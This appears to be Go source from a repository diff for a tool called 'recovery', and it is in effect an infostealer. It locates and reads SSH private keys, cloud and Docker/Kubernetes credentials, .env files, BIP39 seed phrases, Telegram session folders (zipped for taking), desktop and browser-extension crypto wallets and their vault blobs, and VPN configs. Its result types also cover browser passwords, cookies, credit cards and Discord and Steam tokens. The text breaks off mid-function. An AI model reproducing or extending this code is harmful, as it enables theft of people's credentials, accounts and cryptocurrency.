configPath := filepath.Join(sshDir, "config")
if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
results = append(results, types.KeyResult{
Type: "ssh_config",
Name: "config",
Path: configPath,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}
func isPrivateKey(content string) bool {
markers := []string{
"-----BEGIN OPENSSH PRIVATE KEY-----",
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
"PuTTY-User-Key-File-",
}
for _, m := range markers {
if strings.Contains(content, m) {
return true
}
}
return false
}
func scanAWSCredentials(home string) []types.KeyResult {
var results []types.KeyResult
awsDir := filepath.Join(home, ".aws")
for _, name := range []string{"credentials", "config"} {
path := filepath.Join(awsDir, name)
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "aws",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanGCPCredentials(home string) []types.KeyResult {
var results []types.KeyResult
gcpDir := gcpConfigDir(home)
candidates := []string{
filepath.Join(gcpDir, "application_default_credentials.json"),
filepath.Join(gcpDir, "credentials.db"),
filepath.Join(gcpDir, "properties"),
}
for _, dir := range []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
} {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
candidates = append(candidates, filepath.Join(dir, name))
}
}
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
results = append(results, types.KeyResult{
Type: "gcp",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: content,
})
}
}
return results
}
func scanAzureCredentials(home string) []types.KeyResult {
var results []types.KeyResult
azureDir := filepath.Join(home, ".azure")
candidates := []string{
filepath.Join(azureDir, "accessTokens.json"),
filepath.Join(azureDir, "azureProfile.json"),
filepath.Join(azureDir, "msal_token_cache.json"),
filepath.Join(azureDir, "service_principal_entries.json"),
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "azure",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanDockerCredentials(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".docker", "config.json")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
if strings.Contains(string(data), "auths") {
results = append(results, types.KeyResult{
Type: "docker",
Name: "config.json",
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanKubeConfig(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".kube", "config")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
results = append(results, types.KeyResult{
Type: "kubernetes",
Name: "config",
Path: path,
Size: info.Size(),
Content: string(data),
})
return results
}
func scanEnvFiles(home string) []types.KeyResult {
var results []types.KeyResult
searchDirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range searchDirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name != ".env" && !strings.HasPrefix(name, ".env.") {
continue
}
path := filepath.Join(dir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "env",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}
+7
View File
@@ -0,0 +1,7 @@
package scanner
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[scanner] "+format, args...)
}
+274
View File
@@ -0,0 +1,274 @@
package scanner
import (
"os"
"regexp"
"strings"
"recovery/recovery/types"
)
// BIP39-valid word counts
var validSeedLengths = map[int]bool{
12: true, 15: true, 18: true, 21: true, 24: true,
}
const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB
var seedScanFileExts = map[string]bool{
".txt": true, ".md": true, ".csv": true, ".tsv": true,
".log": true, ".rtf": true, ".json": true, ".xml": true,
".env": true, ".cfg": true, ".conf": true, ".ini": true,
".bak": true, ".old": true, ".tmp": true, ".note": true,
".doc": true, ".nfo": true, ".asc": true, ".key": true,
".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true,
}
// contentScanExts are the text formats read during the file listing scan to
// look for sensitive plaintext (BIP39 seed phrases, PEM private keys).
var contentScanExts = seedScanFileExts
// privateKeyRe matches PEM private-key header lines. The optional algorithm
// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form.
var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`)
// contentFileTags reads a small text file once and returns the security tags
// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it
// contains a PEM private-key header. Returns nil when the file is not a
// recognized text format or is too large to scan.
func contentFileTags(path, ext string, size int64) []string {
if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
var tags []string
content := strings.ToLower(string(data))
if looksLikeSeedLine(strings.Fields(content)) {
tags = append(tags, "seed")
} else {
for _, line := range strings.Split(content, "\n") {
if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) {
tags = append(tags, "seed")
break
}
}
}
// PEM headers are case-sensitive, so match against the raw bytes.
if privateKeyRe.Match(data) {
tags = append(tags, "key")
}
return tags
}
// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists
var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`)
// ScanSeeds searches collected data for BIP39 seed phrases.
// Checks file contents, password values, and autofill values.
func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult {
seen := make(map[string]bool)
var results []types.SeedResult
// Scan files
for _, f := range files {
if f.Size > seedScanMaxFileSize || f.Size == 0 {
continue
}
if !seedScanFileExts[f.Ext] {
continue
}
data, err := os.ReadFile(f.Path)
if err != nil {
continue
}
for _, phrase := range extractSeedPhrases(string(data)) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "file",
Path: f.Path,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan passwords
for _, p := range passwords {
for _, phrase := range extractSeedPhrases(p.Password) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
for _, phrase := range extractSeedPhrases(p.Username) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "password",
Path: p.URL,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
// Scan autofill values
for _, a := range autofill {
for _, phrase := range extractSeedPhrases(a.Value) {
if !seen[phrase] {
seen[phrase] = true
results = append(results, types.SeedResult{
Source: "autofill",
Path: a.Name,
Phrase: phrase,
Words: len(strings.Fields(phrase)),
})
}
}
}
return results
}
// extractSeedPhrases finds all BIP39-like seed phrases in text content.
// Handles: space-separated, comma-separated, numbered lists, newline-separated.
func extractSeedPhrases(content string) []string {
if len(content) == 0 {
return nil
}
content = strings.ToLower(content)
var found []string
// Strategy 1: full content as one phrase (file contains only the seed)
if phrase := tryExtractPhrase(content); phrase != "" {
found = append(found, phrase)
return found
}
// Strategy 2: line-by-line (seed on one line)
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
if line == "" {
continue
}
if phrase := tryExtractPhrase(line); phrase != "" {
found = append(found, phrase)
}
}
// Strategy 3: numbered list — collect words from "1. word\n2. word\n..."
if phrase := tryNumberedList(content); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
// Strategy 4: comma-separated words
if strings.Contains(content, ",") {
normalized := strings.ReplaceAll(content, ",", " ")
if phrase := tryExtractPhrase(normalized); phrase != "" {
if !containsPhrase(found, phrase) {
found = append(found, phrase)
}
}
}
return found
}
// tryExtractPhrase checks if text contains a valid seed phrase
func tryExtractPhrase(text string) string {
words := strings.Fields(text)
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
// Try sliding window for phrases embedded in longer text
for _, count := range []int{24, 21, 18, 15, 12} {
if len(words) < count {
continue
}
for i := 0; i <= len(words)-count; i++ {
window := words[i : i+count]
if isValidSeedPhrase(window) {
return strings.Join(window, " ")
}
}
}
return ""
}
// tryNumberedList extracts words from numbered list format:
// "1. abandon\n2. ability\n3. able\n..."
func tryNumberedList(content string) string {
lines := strings.Split(content, "\n")
var words []string
for _, line := range lines {
line = strings.TrimSpace(line)
if line == "" {
continue
}
cleaned := numberedLineRe.ReplaceAllString(line, "")
cleaned = strings.TrimSpace(cleaned)
if cleaned == "" {
continue
}
// Each numbered line should have exactly one word
lineWords := strings.Fields(cleaned)
if len(lineWords) == 1 && isBIP39Word(lineWords[0]) {
words = append(words, lineWords[0])
}
}
if isValidSeedPhrase(words) {
return strings.Join(words, " ")
}
return ""
}
func isValidSeedPhrase(words []string) bool {
if !validSeedLengths[len(words)] {
return false
}
for _, w := range words {
if !isBIP39Word(w) {
return false
}
}
return true
}
// isBIP39Word checks if a word matches BIP39 characteristics:
// lowercase a-z only, 3-8 characters.
func isBIP39Word(w string) bool {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
return true
}
func containsPhrase(phrases []string, phrase string) bool {
for _, p := range phrases {
if p == phrase {
return true
}
}
return false
}
+234
View File
@@ -0,0 +1,234 @@
package scanner
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type telegramPathConfig struct {
name string
subPath string
base string
}
var tdataSessionFiles = map[string]bool{
"key_datas": true,
"usertag": true,
"settings0": true,
"settings1": true,
"configs": true,
}
func isTdataSessionDir(name string) bool {
if len(name) != 16 {
return false
}
for _, c := range name {
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
return false
}
}
return true
}
func ScanTelegram() []types.TelegramResult {
var results []types.TelegramResult
for _, tp := range getTelegramPaths() {
base := resolveTelegramBase(tp.base)
if base == "" {
continue
}
tdataDir := filepath.Join(base, tp.subPath)
if _, err := os.Stat(tdataDir); err != nil {
continue
}
accounts := findTelegramAccounts(tdataDir)
for _, acc := range accounts {
results = append(results, types.TelegramResult{
Account: acc.account,
Path: acc.path,
Files: acc.files,
Size: acc.size,
})
}
}
return results
}
type telegramAccount struct {
account string
path string
files int
size int64
}
func findTelegramAccounts(tdataDir string) []telegramAccount {
var accounts []telegramAccount
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil
}
hasKeyData := false
for _, e := range entries {
if !e.IsDir() && e.Name() == "key_datas" {
hasKeyData = true
break
}
}
if hasKeyData {
files, size := countTdataFiles(tdataDir)
if files > 0 {
accounts = append(accounts, telegramAccount{
account: "Main",
path: tdataDir,
files: files,
size: size,
})
}
}
for _, e := range entries {
if !e.IsDir() {
continue
}
name := e.Name()
if !isTdataSessionDir(name) {
continue
}
sessionDir := filepath.Join(tdataDir, name)
sessionEntries, err := os.ReadDir(sessionDir)
if err != nil {
continue
}
hasData := false
for _, se := range sessionEntries {
if !se.IsDir() {
hasData = true
break
}
}
if hasData {
files, size := countTdataSessionFiles(sessionDir)
accounts = append(accounts, telegramAccount{
account: name,
path: sessionDir,
files: files,
size: size,
})
}
}
return accounts
}
func countTdataFiles(tdataDir string) (int, int64) {
var count int
var totalSize int64
entries, err := os.ReadDir(tdataDir)
if err != nil {
return 0, 0
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
info, err := e.Info()
if err != nil {
continue
}
count++
totalSize += info.Size()
}
}
return count, totalSize
}
func countTdataSessionFiles(dir string) (int, int64) {
var count int
var totalSize int64
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
count++
totalSize += info.Size()
return nil
})
return count, totalSize
}
func ZipTelegram(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, err
}
if !info.IsDir() {
return nil, os.ErrNotExist
}
// If this is a session subfolder (hex name), just zip its contents directly
if isTdataSessionDir(filepath.Base(path)) {
return ziputil.ZipDirectory(path)
}
// Otherwise this is the tdata root — zip key files + session subdirs
return zipTdataRoot(path)
}
func zipTdataRoot(tdataDir string) ([]byte, error) {
entries, err := os.ReadDir(tdataDir)
if err != nil {
return nil, err
}
var filesToZip []string
for _, e := range entries {
name := e.Name()
if e.IsDir() {
if isTdataSessionDir(name) {
sessionDir := filepath.Join(tdataDir, name)
filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
if info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, path)
}
return nil
})
}
} else {
if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
info, _ := e.Info()
if info != nil && info.Size() < 50*1024*1024 {
filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
}
}
}
}
if len(filesToZip) == 0 {
return nil, os.ErrNotExist
}
return ziputil.ZipFiles(filesToZip, tdataDir)
}
+51
View File
@@ -0,0 +1,51 @@
//go:build !windows
package scanner
import (
"os"
"path/filepath"
"runtime"
)
func getTelegramPaths() []telegramPathConfig {
if runtime.GOOS == "darwin" {
return []telegramPathConfig{
{"Telegram Desktop", "Telegram Desktop/tdata", "appdata"},
{"Kotatogram", "Kotatogram Desktop/tdata", "appdata"},
{"64Gram", "64Gram Desktop/tdata", "appdata"},
}
}
// Linux
return []telegramPathConfig{
{"Telegram Desktop", "TelegramDesktop/tdata", "home_data"},
{"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"},
{"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"},
{"Kotatogram", "KotatogramDesktop/tdata", "home_data"},
{"64Gram", "64Gram Desktop/tdata", "home_data"},
}
}
func resolveTelegramBase(base string) string {
home, _ := os.UserHomeDir()
switch base {
case "home":
return home
case "home_data":
xdg := os.Getenv("XDG_DATA_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".local", "share")
case "appdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".config")
case "localappdata":
return filepath.Join(home, ".local", "share")
case "userprofile":
return home
}
return ""
}
@@ -0,0 +1,27 @@
//go:build windows
package scanner
import "os"
func getTelegramPaths() []telegramPathConfig {
return []telegramPathConfig{
{"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"},
{"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"},
{"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"},
{"64Gram", `64Gram Desktop\tdata`, "appdata"},
{"Unigram", `Unigram\$local\tdata`, "localappdata"},
}
}
func resolveTelegramBase(base string) string {
switch base {
case "appdata":
return os.Getenv("APPDATA")
case "localappdata":
return os.Getenv("LOCALAPPDATA")
case "userprofile":
return os.Getenv("USERPROFILE")
}
return ""
}
+179
View File
@@ -0,0 +1,179 @@
package scanner
import (
"bufio"
"fmt"
"os"
"path/filepath"
"regexp"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
)
type walletConfig struct {
Name string
SubPath string
Base string // "appdata", "localappdata", "userprofile", "home"
}
var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`)
var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`)
const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file
const maxAddresses = 50
func ScanWallets() []types.WalletResult {
var results []types.WalletResult
results = append(results, scanDesktopWallets()...)
results = append(results, scanBrowserWalletData()...)
return results
}
func scanDesktopWallets() []types.WalletResult {
var results []types.WalletResult
for _, w := range getDesktopWalletPaths() {
base := resolveWalletBase(w.Base)
if base == "" {
continue
}
dir := filepath.Join(base, w.SubPath)
info, err := os.Stat(dir)
if err != nil || !info.IsDir() {
continue
}
files, totalSize := countDirContents(dir)
if files == 0 {
continue
}
wr := types.WalletResult{
Name: w.Name,
Type: "desktop",
Path: dir,
Files: files,
Size: totalSize,
}
wr.Addresses = extractAddressesFromDir(dir)
results = append(results, wr)
}
return results
}
func scanBrowserWalletData() []types.WalletResult {
var results []types.WalletResult
for _, cfg := range browser.Browsers {
if cfg.IsFirefox {
continue
}
profiles := browser.FindProfileDirs(cfg)
for _, profile := range profiles {
lesDir := filepath.Join(profile.Path, "Local Extension Settings")
for extID, walletName := range knownWalletExtensions {
extDataDir := filepath.Join(lesDir, extID)
info, err := os.Stat(extDataDir)
if err != nil || !info.IsDir() {
continue
}
files, totalSize := countDirContents(extDataDir)
if files == 0 {
continue
}
wr := types.WalletResult{
Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name),
Type: "extension",
Path: extDataDir,
Files: files,
Size: totalSize,
}
wr.Addresses = extractAddressesFromDir(extDataDir)
wr.VaultData = extractVaultData(extDataDir)
results = append(results, wr)
}
}
}
return results
}
func extractAddressesFromDir(dir string) []string {
seen := make(map[string]bool)
var addrs []string
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize {
return nil
}
if len(addrs) >= maxAddresses {
return filepath.SkipAll
}
f, err := os.Open(path)
if err != nil {
return nil
}
defer f.Close()
scanner := bufio.NewScanner(f)
scanner.Buffer(make([]byte, 256*1024), 256*1024)
for scanner.Scan() {
matches := ethAddrRe.FindAllString(scanner.Text(), -1)
for _, m := range matches {
addr := strings.ToLower(m)
if !seen[addr] {
seen[addr] = true
addrs = append(addrs, m)
if len(addrs) >= maxAddresses {
return filepath.SkipAll
}
}
}
}
return nil
})
return addrs
}
func extractVaultData(dir string) string {
var vault string
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() || vault != "" {
return nil
}
ext := strings.ToLower(filepath.Ext(path))
if ext != ".ldb" && ext != ".log" {
return nil
}
if info.Size() == 0 || info.Size() > maxFileReadSize {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
match := vaultRe.Find(data)
if match != nil {
vault = string(match)
return filepath.SkipAll
}
return nil
})
return vault
}
func countDirContents(dir string) (int, int64) {
var count int
var totalSize int64
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return nil
}
count++
totalSize += info.Size()
return nil
})
return count, totalSize
}
+60
View File
@@ -0,0 +1,60 @@
//go:build !windows
package scanner
import (
"os"
"path/filepath"
"runtime"
)
func getDesktopWalletPaths() []walletConfig {
if runtime.GOOS == "darwin" {
return []walletConfig{
{"Atomic", "atomic/Local Storage/leveldb", "appdata"},
{"Exodus", "Exodus/exodus.wallet", "appdata"},
{"Electrum", "Electrum/wallets", "home_dot"},
{"Ethereum", "Ethereum/keystore", "home_dot"},
{"Coinomi", "Coinomi/wallets", "appdata"},
}
}
// Linux
return []walletConfig{
{"Atomic", "atomic/Local Storage/leveldb", "config"},
{"Exodus", "Exodus/exodus.wallet", "config"},
{"Electrum", ".electrum/wallets", "home"},
{"Electrum-LTC", ".electrum-ltc/wallets", "home"},
{"Ethereum", ".ethereum/keystore", "home"},
{"Monero", "Monero/wallets", "home"},
{"Armory", ".armory", "home"},
{"Bytecoin", ".bytecoin", "home"},
{"Coinomi", ".coinomi/Coinomi/wallets", "home"},
}
}
func resolveWalletBase(base string) string {
home, _ := os.UserHomeDir()
switch base {
case "home", "userprofile":
return home
case "home_dot":
return filepath.Join(home, ".")
case "appdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".config")
case "config":
xdg := os.Getenv("XDG_CONFIG_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".config")
case "localappdata":
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
return filepath.Join(home, ".local", "share")
}
return ""
}
@@ -0,0 +1,37 @@
//go:build windows
package scanner
import "os"
func getDesktopWalletPaths() []walletConfig {
return []walletConfig{
{"Atomic", `atomic\Local Storage\leveldb`, "appdata"},
{"Exodus", `Exodus\exodus.wallet`, "appdata"},
{"Electrum", `Electrum\wallets`, "appdata"},
{"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"},
{"Zcash", `Zcash`, "appdata"},
{"Armory", `Armory`, "appdata"},
{"Bytecoin", `bytecoin`, "appdata"},
{"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"},
{"Ethereum", `Ethereum\keystore`, "appdata"},
{"Guarda", `Guarda\Local Storage\leveldb`, "appdata"},
{"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"},
{"Monero", `Documents\Monero\wallets`, "userprofile"},
}
}
func resolveWalletBase(base string) string {
switch base {
case "appdata":
return os.Getenv("APPDATA")
case "localappdata":
return os.Getenv("LOCALAPPDATA")
case "userprofile":
return os.Getenv("USERPROFILE")
case "home":
home, _ := os.UserHomeDir()
return home
}
return ""
}
+256
View File
@@ -0,0 +1,256 @@
package types
type BrowserConfig struct {
Name string
UserDataPath string
ProcessName string
UseAppData bool
IsFirefox bool
FlatProfile bool
}
type ProfileInfo struct {
Name string
Path string
}
type CollectOptions struct {
Browsers bool `json:"browsers"`
Passwords bool `json:"passwords"`
Cookies bool `json:"cookies"`
Autofill bool `json:"autofill"`
History bool `json:"history"`
Bookmarks bool `json:"bookmarks"`
CreditCards bool `json:"creditCards"`
Discord bool `json:"discord"`
Files bool `json:"files"`
Wallets bool `json:"wallets"`
Telegram bool `json:"telegram"`
Keys bool `json:"keys"`
Apps bool `json:"apps"`
Gaming bool `json:"gaming"`
VPNs bool `json:"vpns"`
}
type ResolvedKeys struct {
V10 []byte
V20 []byte
}
type PasswordResult struct {
URL string `json:"url"`
Username string `json:"username"`
Password string `json:"password"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type CookieResult struct {
Host string `json:"host"`
Name string `json:"name"`
Value string `json:"value"`
Path string `json:"path"`
Secure bool `json:"secure"`
HTTPOnly bool `json:"httpOnly"`
ExpiresUTC int64 `json:"expiresUtc"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type AutofillResult struct {
Name string `json:"name"`
Value string `json:"value"`
DateCreated int64 `json:"dateCreated"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type HistoryResult struct {
URL string `json:"url"`
Title string `json:"title"`
VisitTimeUnix int64 `json:"visitTimeUnix"`
VisitCount int64 `json:"visitCount"`
LastVisitTime int64 `json:"lastVisitTime"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type BookmarkResult struct {
Name string `json:"name"`
URL string `json:"url"`
Type string `json:"type"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type CreditCardResult struct {
NameOnCard string `json:"nameOnCard"`
ExpirationMonth int `json:"expirationMonth"`
ExpirationYear int `json:"expirationYear"`
CardNumber string `json:"cardNumber"`
Nickname string `json:"nickname"`
Browser string `json:"browser"`
Profile string `json:"profile"`
}
type DiscordTokenResult struct {
Token string `json:"token"`
Source string `json:"source"`
}
type FileResult struct {
Path string `json:"path"`
Name string `json:"name"`
Ext string `json:"ext"`
Size int64 `json:"size"`
Modified int64 `json:"modified"`
Dir string `json:"dir"`
Tags []string `json:"tags,omitempty"`
}
type ExtensionResult struct {
ExtID string `json:"extId"`
Name string `json:"name"`
Version string `json:"version"`
Browser string `json:"browser"`
Profile string `json:"profile"`
Path string `json:"path"`
Category string `json:"category,omitempty"`
}
type WalletResult struct {
Name string `json:"name"`
Type string `json:"type"`
Path string `json:"path"`
Files int `json:"files"`
Size int64 `json:"size"`
Addresses []string `json:"addresses,omitempty"`
VaultData string `json:"vaultData,omitempty"`
}
type AppCredentialResult struct {
Application string `json:"application"`
Host string `json:"host,omitempty"`
Port int `json:"port,omitempty"`
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
Protocol string `json:"protocol,omitempty"`
Extra string `json:"extra,omitempty"`
}
type CollectionResult struct {
Passwords []PasswordResult `json:"passwords,omitempty"`
Cookies []CookieResult `json:"cookies,omitempty"`
Autofill []AutofillResult `json:"autofill,omitempty"`
History []HistoryResult `json:"history,omitempty"`
Bookmarks []BookmarkResult `json:"bookmarks,omitempty"`
CreditCards []CreditCardResult `json:"creditCards,omitempty"`
DiscordTokens []DiscordTokenResult `json:"discordTokens,omitempty"`
Files []FileResult `json:"files,omitempty"`
Extensions []ExtensionResult `json:"extensions,omitempty"`
Wallets []WalletResult `json:"wallets,omitempty"`
Telegram []TelegramResult `json:"telegram,omitempty"`
Keys []KeyResult `json:"keys,omitempty"`
AppCredentials []AppCredentialResult `json:"appCredentials,omitempty"`
Gaming *GamingResult `json:"gaming,omitempty"`
VPNs *VPNResult `json:"vpns,omitempty"`
Errors []string `json:"errors,omitempty"`
}
type TelegramResult struct {
Account string `json:"account"`
Path string `json:"path"`
Files int `json:"files"`
Size int64 `json:"size"`
}
type KeyResult struct {
Type string `json:"type"`
Name string `json:"name"`
Path string `json:"path"`
Size int64 `json:"size"`
Content string `json:"content,omitempty"`
}
type SeedResult struct {
Source string `json:"source"`
Path string `json:"path"`
Phrase string `json:"phrase"`
Words int `json:"words"`
}
type GameInfo struct {
ID string `json:"id"`
Name string `json:"name"`
Installed bool `json:"installed"`
Running bool `json:"running"`
}
type SteamResult struct {
SteamPath string `json:"steamPath,omitempty"`
AutoLogin string `json:"autoLogin,omitempty"`
RememberPW bool `json:"rememberPw,omitempty"`
Account string `json:"account,omitempty"`
Token string `json:"token,omitempty"`
SSFNFiles []string `json:"ssfnFiles,omitempty"`
Games []GameInfo `json:"games,omitempty"`
}
type BattleNetResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type EpicResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type RiotResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type UplayResult struct {
Path string `json:"path"`
Name string `json:"name"`
}
type GamingResult struct {
Steam *SteamResult `json:"steam,omitempty"`
BattleNet []BattleNetResult `json:"battleNet,omitempty"`
Epic []EpicResult `json:"epic,omitempty"`
Riot []RiotResult `json:"riot,omitempty"`
Uplay []UplayResult `json:"uplay,omitempty"`
}
type NordVPNResult struct {
Version string `json:"version"`
Username string `json:"username"`
Password string `json:"password"`
}
type WireGuardResult struct {
Name string `json:"name"`
Interface string `json:"interface,omitempty"`
Peer string `json:"peer,omitempty"`
Endpoint string `json:"endpoint,omitempty"`
}
type OpenVPNResult struct {
Name string `json:"name"`
Path string `json:"path"`
}
type MullvadResult struct {
AccountNumber string `json:"accountNumber"`
SettingsPath string `json:"settingsPath"`
Content string `json:"content,omitempty"`
}
type VPNResult struct {
NordVPN []NordVPNResult `json:"nordvpn,omitempty"`
WireGuard []WireGuardResult `json:"wireguard,omitempty"`
OpenVPN []OpenVPNResult `json:"openvpn,omitempty"`
Mullvad []MullvadResult `json:"mullvad,omitempty"`
}
+186
View File
@@ -0,0 +1,186 @@
//go:build !windows
package recovery
import (
"encoding/json"
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
func ScanVPNs() *types.VPNResult {
result := &types.VPNResult{
WireGuard: scanWireGuardUnix(),
OpenVPN: scanOpenVPNUnix(),
Mullvad: scanMullvadUnix(),
}
if len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
return nil
}
return result
}
func scanWireGuardUnix() []types.WireGuardResult {
var results []types.WireGuardResult
configDirs := []string{"/etc/wireguard"}
if runtime.GOOS == "darwin" {
configDirs = append(configDirs, "/usr/local/etc/wireguard", "/opt/homebrew/etc/wireguard")
}
home, _ := os.UserHomeDir()
if home != "" {
configDirs = append(configDirs, filepath.Join(home, ".config", "wireguard"))
}
for _, configDir := range configDirs {
if !pathExists(configDir) {
continue
}
entries, err := os.ReadDir(configDir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".conf") {
continue
}
filePath := filepath.Join(configDir, e.Name())
confData, err := os.ReadFile(filePath)
if err != nil || len(confData) == 0 {
continue
}
var iface, peer, endpoint string
for _, line := range strings.Split(string(confData), "\n") {
line = strings.TrimSpace(line)
if key, val, ok := strings.Cut(line, "="); ok {
key = strings.TrimSpace(key)
val = strings.TrimSpace(val)
switch key {
